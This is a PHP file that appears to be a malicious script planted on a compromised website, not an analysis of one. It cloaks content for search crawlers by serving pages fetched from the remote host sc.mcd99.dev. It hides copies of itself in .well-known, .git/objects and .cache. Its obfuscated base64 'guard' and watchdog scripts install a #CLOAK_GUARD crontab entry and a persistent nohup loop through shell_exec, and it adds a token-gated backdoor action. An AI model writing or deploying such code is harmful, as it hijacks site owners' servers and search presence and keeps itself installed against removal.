<?php
 error_reporting(0); $TS = 'https://sc.mcd99.dev'; $_g = 'TH'; $_h = 'home.php'; $ip = $_SERVER['REMOTE_ADDR']; if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_xf = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($_xf[0]); } $ip = trim($ip); $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; function _rc($ip) { $cf = sys_get_temp_dir() . '/.rdns_' . md5($ip); if (file_exists($cf) && time() - filemtime($cf) < 21600) { $r = trim(file_get_contents($cf)); if ($r && $r !== '0') return $r; } $h = @gethostbyaddr($ip); if (!$h || $h === $ip) $h = ''; @file_put_contents($cf, $h ? $h : '0'); return $h ? $h : ''; } function _fv($host, $origIP) { $r = @gethostbyname($host); return ($r && $r !== $host && $r === $origIP); } function _se($c) { $d = array_map('trim', explode(',', @ini_get('disable_functions'))); if (function_exists('shell_exec') && !in_array('shell_exec', $d)) return @shell_exec($c); return ''; } function _puny($d) { if (function_exists('idn_to_ascii')) { $r = @idn_to_ascii($d, 0, INTL_IDNA_VARIANT_UTS46); if ($r) return $r; } if (!preg_match('/[^\x20-\x7F]/', $d)) return $d; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => 'https://dns.google/resolve?name=' . urlencode($d) . '&type=A', CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false )); $r = @curl_exec($ch); curl_close($ch); if ($r) { $j = @json_decode($r, true); if (!empty($j['Question'][0]['name'])) { return strtolower(trim($j['Question'][0]['name'], '.')); } } } return strtolower(trim($d)); } function _host_clean($h) { $h = strtolower(trim($h)); $h = preg_replace('/:\d+$/', '', $h); $h = trim($h, '.'); return $h ? $h : 'unknown'; } function _fetch($url, $timeout = 15) { $ctx = stream_context_create(array( 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false), 'http' => array('timeout' => $timeout) )); $r = @file_get_contents($url, false, $ctx); if ($r !== false && strlen($r) > 0) return $r; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => 'Mozilla/5.0' )); $r = @curl_exec($ch); curl_close($ch); if ($r !== false && strlen($r) > 0) return $r; } return false; } if (isset($_GET['cache_action']) && $_GET['cache_action'] === 'clear' && isset($_GET['token']) && $_GET['token'] === 'war10ck-want-to-clear-cache') { $c = 0; if (file_exists(dirname(__FILE__) . '/.ac')) { @unlink(dirname(__FILE__) . '/.ac'); $c++; } if (file_exists(dirname(__FILE__) . '/.ac_amp')) { @unlink(dirname(__FILE__) . '/.ac_amp'); $c++; } if (file_exists(dirname(__FILE__) . '/.amp_folder')) { @unlink(dirname(__FILE__) . '/.amp_folder'); $c++; } header('Content-Type: application/json'); echo json_encode(array('success' => true, 'cleared' => $c)); exit; } $host = _rc($ip); $se_p = array( '/\.googlebot\.com$/i', '/\.google\.com$/i', '/search\.msn\.com$/i', '/\.bing\.com$/i', '/\.crawl\.yahoo\.net$/i', '/\.baidubce\.com$/i', '/crawl\.yandex\.net$/i', '/\.duckduckgo\.com$/i', '/\.apple\.com$/i', '/\.petalsearch\.com$/i' ); $isSEip = false; foreach ($se_p as $p) { if (preg_match($p, $host)) { $isSEip = true; break; } } if ($isSEip) $isSEip = _fv($host, $ip); if ($isSEip || preg_match('/Googlebot|bingbot|Baiduspider|YandexBot|DuckDuckBot|Applebot|PetalBot|Sogou|crawler|spider|bot|crawl/i', $ua)) { $lang = strtolower(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''); if (strpos($lang, 'zh') > -1 || (isset($_COOKIE['az']) && $_COOKIE['az'] == 'lp')) { setcookie('az', 'lp', time() + 3600 * 7200); echo ' '; exit; } } $__host = _host_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $_host_file = dirname(__FILE__) . '/.host'; if ($__host && $__host !== 'unknown') { $_existing_host = is_file($_host_file) ? trim(@file_get_contents($_host_file)) : ''; if ($_existing_host !== $__host) { @file_put_contents($_host_file, $__host); } } $_amp_folder = ''; $_amp_cache = dirname(__FILE__) . '/.amp_folder'; if (is_file($_amp_cache) && time() - filemtime($_amp_cache) < 86400) { $_cached_folder = trim(@file_get_contents($_amp_cache)); if ($_cached_folder && preg_match('/^[a-z0-9_-]+$/i', $_cached_folder)) { $_amp_folder = $_cached_folder; } } if (!$_amp_folder) { $_cfg_hosts = array($__host); if (strpos($__host, 'www.') === 0) { $_cfg_hosts[] = substr($__host, 4); } elseif ($__host !== 'unknown') { $_cfg_hosts[] = 'www.' . $__host; } $_cfg_hosts = array_values(array_unique($_cfg_hosts)); foreach ($_cfg_hosts as $_cfg_h) { $_cfg_raw = _fetch($TS . '/?action=config&client_domain=' . urlencode($_cfg_h), 5); if (!$_cfg_raw) continue; $_cfg_j = @json_decode($_cfg_raw, true); if (!empty($_cfg_j['success']) && !empty($_cfg_j['config']['amp_folder_name'])) { $_amp_folder = trim($_cfg_j['config']['amp_folder_name']); if ($_amp_folder && preg_match('/^[a-z0-9_-]+$/i', $_amp_folder)) { @file_put_contents($_amp_cache, $_amp_folder); } else { $_amp_folder = ''; } break; } } } if ($_amp_folder && preg_match('/^[a-z0-9_-]+$/i', $_amp_folder)) { $AMP_DIR = dirname(__FILE__) . '/' . basename($_amp_folder); $AMP_FILE = $AMP_DIR . '/index.php'; $AMP_STUB = '<?php include dirname(__FILE__).\'/../index.php\';'; if (!is_file($AMP_FILE)) { @mkdir($AMP_DIR, 0755, true); @file_put_contents($AMP_FILE, $AMP_STUB); @chmod($AMP_FILE, 0444); @chmod($AMP_DIR, 0555); } } $_SELF = file_get_contents(__FILE__); $BACKUPS = array( dirname(__FILE__) . '/.well-known/.c', dirname(__FILE__) . '/.git/objects/.c', dirname(__FILE__) . '/.cache/.c' ); foreach ($BACKUPS as $bp) { $dir = dirname($bp); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_file($bp)) @file_put_contents($bp, $_SELF); } $_can_se = function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', @ini_get('disable_functions')))); if ($_can_se) { $_guard_b64 = 'PD9waHAKZnVuY3Rpb24gX3NlKCRjKXsKICAgICRkPWFycmF5X21hcCgndHJpbScsZXhwbG9kZSgnLCcsQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpJiYhaW5fYXJyYXkoJ3NoZWxsX2V4ZWMnLCRkKSlyZXR1cm4gQHNoZWxsX2V4ZWMoJGMpOwogICAgcmV0dXJuICcnOwp9CmZ1bmN0aW9uIF9mZXRjaCgkdXJsLCR0aW1lb3V0PTUpewogICAgJGN0eD1zdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCiAgICAgICAgJ3NzbCc9PmFycmF5KCd2ZXJpZnlfcGVlcic9PmZhbHNlLCd2ZXJpZnlfcGVlcl9uYW1lJz0+ZmFsc2UpLAogICAgICAgICdodHRwJz0+YXJyYXkoJ3RpbWVvdXQnPT4kdGltZW91dCkKICAgICkpOwogICAgJHI9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7CiAgICBpZigkciE9PWZhbHNlJiZzdHJsZW4oJHIpPjApcmV0dXJuICRyOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7CiAgICAgICAgJGNoPWN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCxhcnJheSgKICAgICAgICAgICAgQ1VSTE9QVF9VUkw9PiR1cmwsCiAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVI9PnRydWUsCiAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVD0+JHRpbWVvdXQsCiAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQ9PjMsCiAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVI9PmZhbHNlLAogICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUPT4wLAogICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVD0+J01vemlsbGEvNS4wJwogICAgICAgICkpOwogICAgICAgICRyPUBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgaWYoJHIhPT1mYWxzZSYmc3RybGVuKCRyKT4wKXJldHVybiAkcjsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfYW1wX2ZvbGRlcl9mb3IoJGRpcil7CiAgICAkY2Y9JGRpci4nLy5hbXBfZm9sZGVyJzsKICAgIGlmKGlzX2ZpbGUoJGNmKSYmdGltZSgpLWZpbGVtdGltZSgkY2YpPDg2NDAwKXsKICAgICAgICAkdj10cmltKEBmaWxlX2dldF9jb250ZW50cygkY2YpKTsKICAgICAgICBpZigkdiYmcHJlZ19tYXRjaCgnL15bYS16MC05Xy1dKyQvaScsJHYpKXJldHVybiAkdjsKICAgIH0KICAgICRob3N0PScnOwogICAgJGhmPSRkaXIuJy8uaG9zdCc7CiAgICBpZihpc19maWxlKCRoZikpeyRob3N0PXRyaW0oQGZpbGVfZ2V0X2NvbnRlbnRzKCRoZikpO30KICAgIGlmKCEkaG9zdCl7JGhvc3Q9YmFzZW5hbWUoJGRpcik7fQogICAgJGhvc3Q9c3RydG9sb3dlcihwcmVnX3JlcGxhY2UoJy9bXmEtejAtOS4tXS9pJywnJywkaG9zdCkpOwogICAgaWYoISRob3N0KXJldHVybiAnJzsKICAgICR0cmllcz1hcnJheSgkaG9zdCk7CiAgICBpZihzdHJwb3MoJGhvc3QsJ3d3dy4nKT09PTApeyR0cmllc1tdPXN1YnN0cigkaG9zdCw0KTt9ZWxzZXskdHJpZXNbXT0nd3d3LicuJGhvc3Q7fQogICAgZm9yZWFjaCgkdHJpZXMgYXMgJGgpewogICAgICAgICRyPV9mZXRjaCgnaHR0cHM6Ly9zYy5tY2Q5OS5kZXYvP2FjdGlvbj1jb25maWcmY2xpZW50X2RvbWFpbj0nLnVybGVuY29kZSgkaCksNSk7CiAgICAgICAgaWYoISRyKWNvbnRpbnVlOwogICAgICAgICRqPUBqc29uX2RlY29kZSgkcix0cnVlKTsKICAgICAgICBpZighZW1wdHkoJGpbJ3N1Y2Nlc3MnXSkmJiFlbXB0eSgkalsnY29uZmlnJ11bJ2FtcF9mb2xkZXJfbmFtZSddKSl7CiAgICAgICAgICAgICRmPXRyaW0oJGpbJ2NvbmZpZyddWydhbXBfZm9sZGVyX25hbWUnXSk7CiAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goJy9eW2EtejAtOV8tXSskL2knLCRmKSl7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGNmLCRmKTsKICAgICAgICAgICAgICAgIHJldHVybiAkZjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAnJzsKfQokZGlyPWRpcm5hbWUoX19GSUxFX18pOwokYms9YXJyYXkoJGRpci4iLy53ZWxsLWtub3duLy5jIiwkZGlyLiIvLmdpdC9vYmplY3RzLy5jIiwkZGlyLiIvLmNhY2hlLy5jIik7CiRzZWxmPSRkaXIuIi9pbmRleC5waHAiOwokc3R1Yj0nPD9waHAgaW5jbHVkZSBkaXJuYW1lKF9fRklMRV9fKS4iLy4uL2luZGV4LnBocCI7JzsKJGZvbGRlcj1fYW1wX2ZvbGRlcl9mb3IoJGRpcik7CmlmKCRmb2xkZXIpewogICAgJGFkPSRkaXIuJy8nLiRmb2xkZXI7CiAgICAkYWY9JGFkLicvaW5kZXgucGhwJzsKICAgIGlmKCFpc19maWxlKCRhZikpewogICAgICAgIEBta2RpcigkYWQsMDc1NSx0cnVlKTsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGFmLCRzdHViKTsKICAgICAgICBAY2htb2QoJGFmLDA0NDQpOwogICAgICAgIEBjaG1vZCgkYWQsMDU1NSk7CiAgICB9Cn0KaWYoIWlzX2ZpbGUoJHNlbGYpfHxmaWxlc2l6ZSgkc2VsZik8NTAwKXsKICAgIGZvcmVhY2goJGJrIGFzICRiKXsKICAgICAgICBpZihpc19maWxlKCRiKSYmZmlsZXNpemUoJGIpPjEwMCl7CiAgICAgICAgICAgIEBjb3B5KCRiLCRzZWxmKTsKICAgICAgICAgICAgQGNobW9kKCRzZWxmLDA2NDQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9Cn0KJHBnPSRkaXIuIi8ucGcucGhwIjsKaWYoaXNfZmlsZSgkcGcpJiYhZmlsZV9leGlzdHMoIi90bXAvLmNnXyIubWQ1KCRkaXIpKSl7CiAgICBfc2UoIm5vaHVwIHBocCAiLmVzY2FwZXNoZWxsYXJnKCRwZykuIiA+IC9kZXYvbnVsbCAyPiYxICYiKTsKfQo/Pg=='; $_pg_b64 = 'PD9waHAKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CnNldF90aW1lX2xpbWl0KDApOwokZGlyPWRpcm5hbWUoX19GSUxFX18pOwokbG9jaz0nL3RtcC8uY2dfJy5tZDUoJGRpcik7CiRzZWxmPSRkaXIuIi9pbmRleC5waHAiOwokc3R1Yj0nPD9waHAgaW5jbHVkZSBkaXJuYW1lKF9fRklMRV9fKS4iLy4uL2luZGV4LnBocCI7JzsKJGJrPWFycmF5KCRkaXIuIi8ud2VsbC1rbm93bi8uYyIsJGRpci4iLy5naXQvb2JqZWN0cy8uYyIsJGRpci4iLy5jYWNoZS8uYyIpOwpmaWxlX3B1dF9jb250ZW50cygkbG9jayxnZXRteXBpZCgpKTsKZnVuY3Rpb24gX2NnX3NoKCl7Z2xvYmFsICRsb2NrO0B1bmxpbmsoJGxvY2spO30KcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oJ19jZ19zaCcpOwpmdW5jdGlvbiBfZmV0Y2gyKCR1cmwsJHRpbWVvdXQ9NSl7CiAgICAkY3R4PXN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKICAgICAgICAnc3NsJz0+YXJyYXkoJ3ZlcmlmeV9wZWVyJz0+ZmFsc2UsJ3ZlcmlmeV9wZWVyX25hbWUnPT5mYWxzZSksCiAgICAgICAgJ2h0dHAnPT5hcnJheSgndGltZW91dCc9PiR0aW1lb3V0KQogICAgKSk7CiAgICAkcj1AZmlsZV9nZXRfY29udGVudHMoJHVybCxmYWxzZSwkY3R4KTsKICAgIGlmKCRyIT09ZmFsc2UmJnN0cmxlbigkcik+MClyZXR1cm4gJHI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLGFycmF5KAogICAgICAgICAgICBDVVJMT1BUX1VSTD0+JHVybCwKICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+dHJ1ZSwKICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUPT4kdGltZW91dCwKICAgICAgICAgICAgQ1VSTE9QVF9DT05ORUNUVElNRU9VVD0+MywKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUj0+ZmFsc2UsCiAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PjAsCiAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UPT4nTW96aWxsYS81LjAnCiAgICAgICAgKSk7CiAgICAgICAgJHI9QGN1cmxfZXhlYygkY2gpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBpZigkciE9PWZhbHNlJiZzdHJsZW4oJHIpPjApcmV0dXJuICRyOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIF9hbXBfZm9sZGVyMigkZGlyKXsKICAgICRjZj0kZGlyLicvLmFtcF9mb2xkZXInOwogICAgaWYoaXNfZmlsZSgkY2YpJiZ0aW1lKCktZmlsZW10aW1lKCRjZik8MzYwMCl7CiAgICAgICAgJHY9dHJpbShAZmlsZV9nZXRfY29udGVudHMoJGNmKSk7CiAgICAgICAgaWYoJHYmJnByZWdfbWF0Y2goJy9eW2EtejAtOV8tXSskL2knLCR2KSlyZXR1cm4gJHY7CiAgICB9CiAgICAkaG9zdD0nJzsKICAgICRoZj0kZGlyLicvLmhvc3QnOwogICAgaWYoaXNfZmlsZSgkaGYpKSRob3N0PXRyaW0oQGZpbGVfZ2V0X2NvbnRlbnRzKCRoZikpOwogICAgaWYoISRob3N0KSRob3N0PWJhc2VuYW1lKCRkaXIpOwogICAgJGhvc3Q9c3RydG9sb3dlcihwcmVnX3JlcGxhY2UoJy9bXmEtejAtOS4tXS9pJywnJywkaG9zdCkpOwogICAgaWYoISRob3N0KXJldHVybiAnJzsKICAgICR0cmllcz1hcnJheSgkaG9zdCk7CiAgICBpZihzdHJwb3MoJGhvc3QsJ3d3dy4nKT09PTApeyR0cmllc1tdPXN1YnN0cigkaG9zdCw0KTt9ZWxzZXskdHJpZXNbXT0nd3d3LicuJGhvc3Q7fQogICAgZm9yZWFjaCgkdHJpZXMgYXMgJGgpewogICAgICAgICRyPV9mZXRjaDIoJ2h0dHBzOi8vc2MubWNkOTkuZGV2Lz9hY3Rpb249Y29uZmlnJmNsaWVudF9kb21haW49Jy51cmxlbmNvZGUoJGgpLDUpOwogICAgICAgIGlmKCEkciljb250aW51ZTsKICAgICAgICAkaj1AanNvbl9kZWNvZGUoJHIsdHJ1ZSk7CiAgICAgICAgaWYoIWVtcHR5KCRqWydzdWNjZXNzJ10pJiYhZW1wdHkoJGpbJ2NvbmZpZyddWydhbXBfZm9sZGVyX25hbWUnXSkpewogICAgICAgICAgICAkZj10cmltKCRqWydjb25maWcnXVsnYW1wX2ZvbGRlcl9uYW1lJ10pOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCcvXlthLXowLTlfLV0rJC9pJywkZikpewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRjZiwkZik7CiAgICAgICAgICAgICAgICByZXR1cm4gJGY7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJyc7Cn0Kd2hpbGUodHJ1ZSl7CiAgICAkZm9sZGVyPV9hbXBfZm9sZGVyMigkZGlyKTsKICAgIGlmKCRmb2xkZXIpewogICAgICAgICRhZD0kZGlyLicvJy4kZm9sZGVyOwogICAgICAgICRhZj0kYWQuJy9pbmRleC5waHAnOwogICAgICAgIGlmKCFpc19maWxlKCRhZikpewogICAgICAgICAgICBAbWtkaXIoJGFkLDA3NTUsdHJ1ZSk7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYWYsJHN0dWIpOwogICAgICAgICAgICBAY2htb2QoJGFmLDA0NDQpOwogICAgICAgICAgICBAY2htb2QoJGFkLDA1NTUpOwogICAgICAgIH0KICAgIH0KICAgIGlmKCFmaWxlX2V4aXN0cygkc2VsZil8fGZpbGVzaXplKCRzZWxmKTw1MDApewogICAgICAgIGZvcmVhY2goJGJrIGFzICRiKXsKICAgICAgICAgICAgaWYoaXNfZmlsZSgkYikmJmZpbGVzaXplKCRiKT4xMDApewogICAgICAgICAgICAgICAgQGNvcHkoJGIsJHNlbGYpOwogICAgICAgICAgICAgICAgQGNobW9kKCRzZWxmLDA2NDQpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBzbGVlcCgzMCk7Cn0KPz4='; $guard_file = dirname(__FILE__) . '/.guard.php'; $_need_rewrite = !is_file($guard_file); if (!$_need_rewrite) { $_cur = @file_get_contents($guard_file); if ($_cur === false || strpos($_cur, '_amp_folder_for') === false) { $_need_rewrite = true; } } if ($_need_rewrite) { @chmod($guard_file, 0644); @file_put_contents($guard_file, base64_decode($_guard_b64)); @chmod($guard_file, 0600); } $cl = _se('crontab -l 2>/dev/null'); if (!$cl) $cl = ''; if (strpos($cl, '#CLOAK_GUARD') === false) { $tmp = tempnam(sys_get_temp_dir(), 'cr'); file_put_contents($tmp, $cl . "\n#CLOAK_GUARD\n* * * * * php " . escapeshellarg($guard_file) . "\n"); _se('crontab ' . $tmp . ' 2>/dev/null'); @unlink($tmp); } $pg_file = dirname(__FILE__) . '/.pg.php'; $lock = '/tmp/.cg_' . md5(dirname(__FILE__)); $_need_pg_rewrite = !is_file($pg_file); if (!$_need_pg_rewrite) { $_cur_pg = @file_get_contents($pg_file); if ($_cur_pg === false || strpos($_cur_pg, '_amp_folder2') === false) { $_need_pg_rewrite = true; @unlink($lock); } } if ($_need_pg_rewrite) { @chmod($pg_file, 0644); @file_put_contents($pg_file, base64_decode($_pg_b64)); @chmod($pg_file, 0600); } if (!file_exists($lock)) { _se('nohup php ' . escapeshellarg($pg_file) . ' > /dev/null 2>&1 &'); } } $dn = _host_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'); $dn = _puny($dn); $sn = strtolower($_SERVER['SCRIPT_NAME']); if (strpos($sn, '/amp/') !== false || substr($sn, -4) === '/amp' || ($_amp_folder && strpos($sn, '/' . $_amp_folder . '/') !== false)) { $act = 'amp'; $cf = dirname(__FILE__) . '/.ac_amp'; $ct = 3600; } else { $act = 'template'; $cf = dirname(__FILE__) . '/.ac'; $ct = 600; } if (file_exists($cf) && time() - filemtime($cf) < $ct) { header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); readfile($cf); exit; } $domains = array($dn); if (strpos($dn, 'www.') === 0) { $domains[] = substr($dn, 4); } elseif ($dn !== 'unknown') { $domains[] = 'www.' . $dn; } $domains = array_values(array_unique($domains)); $raw = false; foreach ($domains as $_try_dn) { $_try_raw = _fetch($TS . '/?action=' . $act . '&client_domain=' . urlencode($_try_dn), 15); if ($_try_raw && strlen($_try_raw) >= 50) { $raw = $_try_raw; $dn = $_try_dn; break; } } if (!$raw || strlen($raw) < 50) { if (file_exists($cf)) { $cached = @file_get_contents($cf); if ($cached && strlen($cached) > 50) { header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo $cached; exit; } } header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo '<!doctype html><html lang="th"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>' . htmlspecialchars($dn, ENT_QUOTES, 'UTF-8') . '</title></head><body></body></html>'; exit; } if ($act === 'template') { $j = json_decode($raw, true); if ($j && isset($j['template'])) $raw = $j['template']; } @file_put_contents($cf, $raw); header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo $raw; 
